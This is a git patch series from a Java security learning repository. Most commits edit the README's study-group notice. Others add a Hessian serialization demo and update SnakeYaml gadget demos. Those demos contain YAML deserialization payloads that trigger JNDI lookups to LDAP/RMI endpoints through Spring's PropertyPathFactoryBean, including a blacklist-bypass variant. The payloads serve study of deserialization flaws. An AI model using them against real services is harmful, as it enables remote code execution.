From 8a4f296b02bd21aa415df4d2b6ec36a1b8f8d1fd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年11月12日 19:41:23 +0800 Subject: [PATCH 01/30] Update README.md --- README.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/README.md b/README.md index 62078cd..211592b 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,12 @@ +- 交流群 + +随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台。 +同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。 + +![image](https://github.com/user-attachments/assets/97629157-ef89-462f-af28-e2bac4b0af02) + +若二维码过期可加 VX DrunkbabySec + # JavaSecurityLearning 项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。 From 565b2a897434ff20e55b6b946e4e9f0078bcd1f8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年11月12日 19:41:45 +0800 Subject: [PATCH 02/30] Update README.md --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index 211592b..38642cc 100644 --- a/README.md +++ b/README.md @@ -3,9 +3,7 @@ 随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台。 同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。 -![image](https://github.com/user-attachments/assets/97629157-ef89-462f-af28-e2bac4b0af02) - -若二维码过期可加 VX DrunkbabySec +> 可加 VX DrunkbabySec # JavaSecurityLearning From 2e817d53cc0265df33c1111d6811bc67926fc3e6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年11月12日 19:42:29 +0800 Subject: [PATCH 03/30] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 38642cc..d28a58d 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,9 @@ > 可加 VX DrunkbabySec +![image](https://github.com/user-attachments/assets/82bc78aa-b68a-4e29-bb08-a68f641bf923) + + # JavaSecurityLearning 项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。 From df0d120310980e99979f9883d88abefa72fcf674 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年11月12日 19:43:35 +0800 Subject: [PATCH 04/30] Update README.md --- README.md | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index d28a58d..c80b8e4 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,3 @@ -- 交流群 - -随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台。 -同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。 - -> 可加 VX DrunkbabySec - -![image](https://github.com/user-attachments/assets/82bc78aa-b68a-4e29-bb08-a68f641bf923) - - # JavaSecurityLearning 项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。 @@ -230,3 +220,12 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby src="https://api.star-history.com/svg?repos=Drun1baby/JavaSecurityLearning&type=Timeline" /> + +- 交流群 + +随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台。 +同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。 + +> 可加 VX DrunkbabySec + +![image](https://github.com/user-attachments/assets/82bc78aa-b68a-4e29-bb08-a68f641bf923) From f757d89214dc47bcb74986eed19a06663d816b3c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年11月15日 16:33:49 +0800 Subject: [PATCH 05/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c80b8e4..c8ea249 100644 --- a/README.md +++ b/README.md @@ -224,7 +224,7 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby - 交流群 随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台。 -同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。 +同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。(希望以后还有 golang 的 SecurityLearning) > 可加 VX DrunkbabySec From d168d090d1ab61356a8b372fba7b731f9000992e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年11月19日 22:56:15 +0800 Subject: [PATCH 06/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c8ea249..6549d83 100644 --- a/README.md +++ b/README.md @@ -228,4 +228,5 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/82bc78aa-b68a-4e29-bb08-a68f641bf923) + +![PNG](https://github.com/user-attachments/assets/7880abdf-e432-4771-8b53-e6b92b81d4bc) From 322c63c3946a1b3d8801180612686179ca9245de Mon Sep 17 00:00:00 2001 From: Drun1baby <2717763591@qq.com> Date: 2024年11月22日 17:59:47 +0800 Subject: [PATCH 07/30] modify some codes --- .DS_Store | Bin 6148 -> 6148 bytes JavaSecurity/Hession/.gitignore | 38 ++++++++++++++++++ JavaSecurity/Hession/HessionLearn/pom.xml | 28 +++++++++++++ .../java/com/hession/test/Hessian_Test.java | 37 +++++++++++++++++ .../main/java/com/hession/test/Person.java | 29 +++++++++++++ JavaSecurity/Hession/pom.xml | 21 ++++++++++ .../src/main/java/org/example/Main.java | 7 ++++ JavaSecurity/SnakeYaml/pom.xml | 30 ++++++++------ .../SpringPropertyPathFactoryBeanEXP.java | 11 +---- .../java/BypassAnalyze/bypassBlackList.java | 6 +-- .../main/java/BypassAnalyze/bypassTest.java | 4 +- .../SpringPropertyPathFactoryBeanEXP.class | Bin 1243 -> 949 bytes .../BypassAnalyze/bypassBlackList.class | Bin 2373 -> 2336 bytes .../classes/BypassAnalyze/bypassTest.class | Bin 2228 -> 2236 bytes 14 files changed, 185 insertions(+), 26 deletions(-) create mode 100644 JavaSecurity/Hession/.gitignore create mode 100644 JavaSecurity/Hession/HessionLearn/pom.xml create mode 100644 JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java create mode 100644 JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java create mode 100644 JavaSecurity/Hession/pom.xml create mode 100644 JavaSecurity/Hession/src/main/java/org/example/Main.java diff --git a/.DS_Store b/.DS_Store index 8605518e0f851e53f6ed3e971e6c05b22c5f587d..814baff57249fb05475dd5cb23feaf8ecf24f90b 100644 GIT binary patch delta 149 zcmZoMXffDO&B}Ooat*68hnTp8sHBv%)a2!?ccddSlk@X}GpkbL1^A0I^2Cg zvdq--$@AFMSd<++8z%2(ljtx&2w(sm&djz%6fff9l^c@do&dz%?hn570~v!dlnmd@ eGZ~8@ikKK7G=nUZhEj~hlkM2|ZD!~A%MSo(n;<6u delta 149 zcmZoMXffDO&B}Oaat*68hp3pisDz}X^yKBNcckM5_=_|0%RQ6x^8$)e%Q92TBQk;P z;LNJj$@AFMCZA=K;Nnzv2w(t%$?w?|%_SL?7_}Kq7;PEt89f+18KW5E850;2Au5;{ eAvA*wl!j7_S(ABKWG1JwFPhlEy_uckFFybyav)Ry diff --git a/JavaSecurity/Hession/.gitignore b/JavaSecurity/Hession/.gitignore new file mode 100644 index 0000000..5ff6309 --- /dev/null +++ b/JavaSecurity/Hession/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/pom.xml b/JavaSecurity/Hession/HessionLearn/pom.xml new file mode 100644 index 0000000..5bf8695 --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/pom.xml @@ -0,0 +1,28 @@ + + + 4.0.0 + + org.example + Hession + 1.0-SNAPSHOT + + + HessionLearn + + + + com.caucho + hessian + 4.0.63 + + + + + 8 + 8 + UTF-8 + + + \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java new file mode 100644 index 0000000..e672314 --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java @@ -0,0 +1,37 @@ +package com.hession.test; + +import com.caucho.hessian.io.HessianInput; +import com.caucho.hessian.io.HessianOutput; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.Serializable; + +public class Hessian_Test implements Serializable { + + public static byte[] serialize(T o) throws IOException { + ByteArrayOutputStream bao = new ByteArrayOutputStream(); + HessianOutput output = new HessianOutput(bao); + output.writeObject(o); + System.out.println(bao.toString()); + return bao.toByteArray(); + } + + public static T deserialize(byte[] bytes) throws IOException { + ByteArrayInputStream bai = new ByteArrayInputStream(bytes); + HessianInput input = new HessianInput(bai); + Object o = input.readObject(); + return (T) o; + } + + public static void main(String[] args) throws IOException { + Person person = new Person(); + person.setAge(18); + person.setName("Drunkbaby"); + + byte[] s = serialize(person); + System.out.println((Person) deserialize(s)); + } + +} \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java new file mode 100644 index 0000000..2350bb9 --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java @@ -0,0 +1,29 @@ +package com.hession.test; + +import java.io.Serializable; + +public class Person implements Serializable { + public String name; + public int age; + + public int getAge() { + return age; + } + + @Override + public String toString() { + return super.toString(); + } + + public String getName() { + return name; + } + + public void setAge(int age) { + this.age = age; + } + + public void setName(String name) { + this.name = name; + } +} \ No newline at end of file diff --git a/JavaSecurity/Hession/pom.xml b/JavaSecurity/Hession/pom.xml new file mode 100644 index 0000000..8b655d4 --- /dev/null +++ b/JavaSecurity/Hession/pom.xml @@ -0,0 +1,21 @@ + + + 4.0.0 + + org.example + Hession + 1.0-SNAPSHOT + pom + + HessionLearn + + + + 8 + 8 + UTF-8 + + + \ No newline at end of file diff --git a/JavaSecurity/Hession/src/main/java/org/example/Main.java b/JavaSecurity/Hession/src/main/java/org/example/Main.java new file mode 100644 index 0000000..407f157 --- /dev/null +++ b/JavaSecurity/Hession/src/main/java/org/example/Main.java @@ -0,0 +1,7 @@ +package org.example; + +public class Main { + public static void main(String[] args) { + System.out.println("Hello world!"); + } +} \ No newline at end of file diff --git a/JavaSecurity/SnakeYaml/pom.xml b/JavaSecurity/SnakeYaml/pom.xml index 3a9c907..717d42b 100644 --- a/JavaSecurity/SnakeYaml/pom.xml +++ b/JavaSecurity/SnakeYaml/pom.xml @@ -12,27 +12,33 @@ org.yaml snakeyaml - 1.27 + 1.25 - commons-configuration - commons-configuration - 1.10 + commons-logging + commons-logging + 1.2 + + + com.unboundid + unboundid-ldapsdk + 4.0.9 + test org.springframework - spring-webmvc - 5.3.16 + spring-beans + 5.0.2.RELEASE - com.mchange - c3p0 - 0.9.5.2 + org.springframework + spring-context + 5.0.2.RELEASE - org.apache.xbean - xbean-naming - 4.20 + org.springframework + spring-core + 5.0.2.RELEASE diff --git a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java index 63beee3..70989eb 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java +++ b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java @@ -6,17 +6,10 @@ public class SpringPropertyPathFactoryBeanEXP { public static void main(String[] args) { String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + - " targetBeanName: \"ldap://localhost:1389/aprvde\"\n" + + " targetBeanName: \"rmi://127.0.0.1:1099/7dwqhm\"\n" + " propertyPath: Drunkbaby\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + - " shareableResources: [\"ldap://localhost:1389/aprvde\"]"; - - String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + - " targetBeanName: \"rmi://127.0.0.1:1099/nprcsj\"\n" + - " propertyPath: Drunkbaby\n" + - " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + - " shareableResources: [\"rmi://127.0.0.1:1099/nprcsj\"]"; - + " shareableResources: [\"rmi://127.0.0.1:1099/7dwqhm\"]"; Yaml yaml = new Yaml(); yaml.load(payload); } diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java index 895412e..c983cfb 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java +++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java @@ -30,11 +30,11 @@ public String yamlLoads(String payload) { public static void main(String[] args) { String payload = "! \n" + - " targetBeanName: \"ldap://127.0.0.1:1389/aprvde\"\n" + + " targetBeanName: \"ldap://127.0.0.1:1389/dc=example,dc=com\"\n" + " propertyPath: Drunkbaby\n" + " beanFactory: ! \n" + - " shareableResources: [\"ldap://127.0.0.1:1389/aprvde\"]"; - bypassTest bypassTest = new bypassTest(); + " shareableResources: [\"ldap://127.0.0.1:1389/dc=example,dc=com\"]"; + bypassBlackList bypassTest = new bypassBlackList(); bypassTest.yamlLoads(payload); } } diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java index db63b8a..099b64b 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java +++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java @@ -30,10 +30,10 @@ public String yamlLoads(String payload) { public static void main(String[] args) { String payload = "! \n" + - " targetBeanName: \"ldap://localhost:1389/Exploit\"\n" + + " targetBeanName: \"ldap://192.168.255.10:1389/tr7j8w\"\n" + " propertyPath: Drunkbaby\n" + " beanFactory: ! \n" + - " shareableResources: [\"ldap://localhost:1389/Exploit\"]"; + " shareableResources: [\"ldap://192.168.255.10:1389/tr7j8w\"]"; bypassTest bypassTest = new bypassTest(); bypassTest.yamlLoads(payload); } diff --git a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class index 2f412cdbb4244f74bb0442642573f9f236735b27..a6cb0371248cbabe51761a4ebb8fc82de6723260 100644 GIT binary patch delta 288 zcmYL@y=nqc5QWdZSMS}wsM)BiF^NAQgd`9I!NT53>m*=0i!=+SO6enr+$XV6!GI6o z69jDXBq3*a3#XWwGc)I7PVUBZkAM3EfIiwD4C)T94H_O4>PfmWxHY(2-TzoEUX=sa z#xmA}+1KYsY=7m_&)UwrKxB&|aso8b66mewJ$qE6g(fu#2?5%fJ*sC`!J2>AL9ElY z&#cp-M!-JE4sd}2m5U-uoFwKcVTv^j<@g)wzhl_c>2Ztv%b64+#|sBTMSxGlB>@Sx Zm077nD#hs)$^`rTvw~{+XT*&}?H>aOAD#dJ delta 353 zcmaKmO-jR16ot>r%fB_%w242hQCkI3B!~{QYfxw6AA%tjL{bx4anOml0x4OE0~Hip zfNnr=DS~)Xaq1g<_uo~sj?}jjpvrdb_wy@&4j_c&q8q6df=hugp`un`*1(*b`n86c zDzh{md>!c)Y2ドル@tSnSo4c9gZkFiGPmIZu06t+n;dtuV^E*X^_XUG#(h42_fgKy>uW ztQ+?(=)U`tr%E6jXy&&{zhdxP#Ze%@hslxLk^W7IcRIU*qhx8QH8?1|5qCJ`KK0h8-@w5=#wd!{b zI$P6BOGFdth%L4aI}y9=xh>tC*pDdi*?rdou>*?kTBlXs-Ri^2jrF0;uWN1jp<_0cz~ zrXO~A^g?(_c*s`=cZ7yPrJmjr%o$!5Og2dr2u#4$p|uNSS!46gU2`@A%iD idv`I)A6A!P7#7J|1iUHvbwBM<&7-}f?0+k>nvs8t4ドルR^Z delta 559 zcmZ{hy-yTT6vcmUW@q1f zvi+%sPqj~tZ&k~++Sqz|ZR>rdf4P2IsMIz`tn%`7ドルwL}aB8hpyOU+u$E7onvOR}$H zs=Tppy`sNC&3^K_RNn6R$*%u6Tdr=rTdCMpe?Mu!b4!Yo|8t5NApbedd{nk0bK3q6 zem&`w=%8qK-hwiMWfiGCa_X0^qzBz!PzM4$dZlLTLrtIHxIy5Oke!e?NbRv5x~h8Z zt{z%+tO5aTv@pn!prX8Dfy<(n3l55$aecgqahufe#z{r6ドルc4t0t|@iq55b&f#1l|w z8x0$CzT{TQ$>wktp9?g}pFAOXoUxm@ucP&JKF5xvo6y|kmKYnx8hP!u`Ox|=UMTwG Ia@XVbUo!7jQ2+n{ diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class index 14d0e8eca089fc06a87c2a0cbc9a9ff8e6959743..9730813a9b5dcb2f1ed398f4a6a27f433f887497 100644 GIT binary patch delta 76 zcmdlYxJPiqUM5EC$@`cJqzo;M^bE}`^o&eR^$ZQH42>-;^-GG(vn Date: 2024年11月26日 10:29:33 +0800 Subject: [PATCH 08/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6549d83..47ce674 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ 学完这两个之后可以自己过一个小项目[【实战】基于SpringBoot+Vue开发的前后端分离博客项目完整教学](https://www.bilibili.com/video/BV1PQ4y1P7hZ?vd_source=a4eba559e280bf2f1aec770f740d0645) -- 学完这些内容最多花费两个月。 +- 学完这些内容最多花费两个月 推荐的 Java 基础,哪块不懂看哪块,[二倍速【狂神说Java】Java零基础学习视频通俗易懂](https://www.bilibili.com/video/BV12J41137hu?spm_id_from=333.337.search-card.all.click) From c4b076f5a3964f04e7dd9808b9bce52f043aa9aa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年11月28日 19:50:12 +0800 Subject: [PATCH 09/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 47ce674..74008de 100644 --- a/README.md +++ b/README.md @@ -228,5 +228,5 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec +![image](https://github.com/user-attachments/assets/d53d9029-4354-4d4f-bbe5-ae2ec7a80d3d) -![PNG](https://github.com/user-attachments/assets/7880abdf-e432-4771-8b53-e6b92b81d4bc) From 17fd05ccb3be656eba2cfb81d0122d680cae310f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: Sun, 8 Dec 2024 17:45:16 +0800 Subject: [PATCH 10/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 74008de..c34934f 100644 --- a/README.md +++ b/README.md @@ -228,5 +228,5 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/d53d9029-4354-4d4f-bbe5-ae2ec7a80d3d) +![d9f290d69775156248d7131f5e441d1](https://github.com/user-attachments/assets/5358ba77-cc71-47f3-a549-c87ffa49fe89) From 75da2d31bac847f7773fb7eed0492da35d8b836a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年12月16日 17:33:46 +0800 Subject: [PATCH 11/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c34934f..091893d 100644 --- a/README.md +++ b/README.md @@ -228,5 +228,6 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![d9f290d69775156248d7131f5e441d1](https://github.com/user-attachments/assets/5358ba77-cc71-47f3-a549-c87ffa49fe89) +![3d7749a0fa500267710d257f3f0d8fbf](https://github.com/user-attachments/assets/872ed8c2-48f3-4a5e-b5a8-0c5b4b39e164) + From 28410a08690f80a5664577de8341ef306cfb7c1f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年12月20日 15:47:53 +0800 Subject: [PATCH 12/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 091893d..24eab34 100644 --- a/README.md +++ b/README.md @@ -224,7 +224,7 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby - 交流群 随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台。 -同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。(希望以后还有 golang 的 SecurityLearning) +同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。(希望以后会写 golang 的 SecurityLearning) > 可加 VX DrunkbabySec From ec40a4a3e39d6cf177e202ac349acba8a570b929 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年12月25日 16:51:20 +0800 Subject: [PATCH 13/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 24eab34..ace36b7 100644 --- a/README.md +++ b/README.md @@ -228,6 +228,7 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![3d7749a0fa500267710d257f3f0d8fbf](https://github.com/user-attachments/assets/872ed8c2-48f3-4a5e-b5a8-0c5b4b39e164) +![image](https://github.com/user-attachments/assets/dc5de2ab-abd9-4134-bf10-5d04d62a2016) + From a9c0af332a9620cb57081efbc9a5b3a603502ac2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2024年12月30日 16:20:39 +0800 Subject: [PATCH 14/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ace36b7..5b7924c 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # JavaSecurityLearning -项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。 +项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获 项目文件夹中包含了部分用于漏洞调试的代码(如果有些东西打不通可以直接看代码),对应文章记录在博客中。 From 0d0f18f38abdc6bd38cd9659d011963b2cb0f828 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: Wed, 1 Jan 2025 01:19:24 +0800 Subject: [PATCH 15/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5b7924c..fbc03c0 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/dc5de2ab-abd9-4134-bf10-5d04d62a2016) +![54a68577bda669071e4b128236f3c21](https://github.com/user-attachments/assets/852c7c2b-5c83-41aa-ad6a-9359af42d359) + From f51fc86793b2ca90384fc88d79d7b71b29892483 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: Wed, 8 Jan 2025 11:18:56 +0800 Subject: [PATCH 16/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index fbc03c0..b298847 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![54a68577bda669071e4b128236f3c21](https://github.com/user-attachments/assets/852c7c2b-5c83-41aa-ad6a-9359af42d359) +![491736306306_ pic](https://github.com/user-attachments/assets/bfa317e4-2984-4188-b54f-5a0a2a88d6c8) + From cf341a246cec7ad2c52b017d796ff3f59ab2081f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年1月20日 10:44:10 +0800 Subject: [PATCH 17/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b298847..85a2ea7 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![491736306306_ pic](https://github.com/user-attachments/assets/bfa317e4-2984-4188-b54f-5a0a2a88d6c8) +![image](https://github.com/user-attachments/assets/4b4a6d39-f6a3-4134-84a6-474f59c0b969) + From 8744843b83612abe0b896a736ebd2eeb202ece66 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年1月28日 15:10:52 +0800 Subject: [PATCH 18/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 85a2ea7..5ce78ff 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/4b4a6d39-f6a3-4134-84a6-474f59c0b969) +![571738048222_ pic](https://github.com/user-attachments/assets/f428831b-afd5-4724-a917-bba437abe50d) + From 6e4319ecb0ea49b0e44a2489ffeab3b038a2eb43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年2月10日 15:18:48 +0800 Subject: [PATCH 19/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5ce78ff..5dee421 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # JavaSecurityLearning -项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获 +项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。 项目文件夹中包含了部分用于漏洞调试的代码(如果有些东西打不通可以直接看代码),对应文章记录在博客中。 From 76e1862583cd22f9dca333815ce9ff4f54fabf1d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年2月14日 10:50:18 +0800 Subject: [PATCH 20/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5dee421..bdfe686 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![571738048222_ pic](https://github.com/user-attachments/assets/f428831b-afd5-4724-a917-bba437abe50d) +![image](https://github.com/user-attachments/assets/08400eaa-58da-463f-aa2f-8646cd2fc8c5) + From 8d5ea4525d266bf1d0255b34a82359d5072714ee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年2月21日 10:33:50 +0800 Subject: [PATCH 21/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index bdfe686..f0cf8e7 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/08400eaa-58da-463f-aa2f-8646cd2fc8c5) 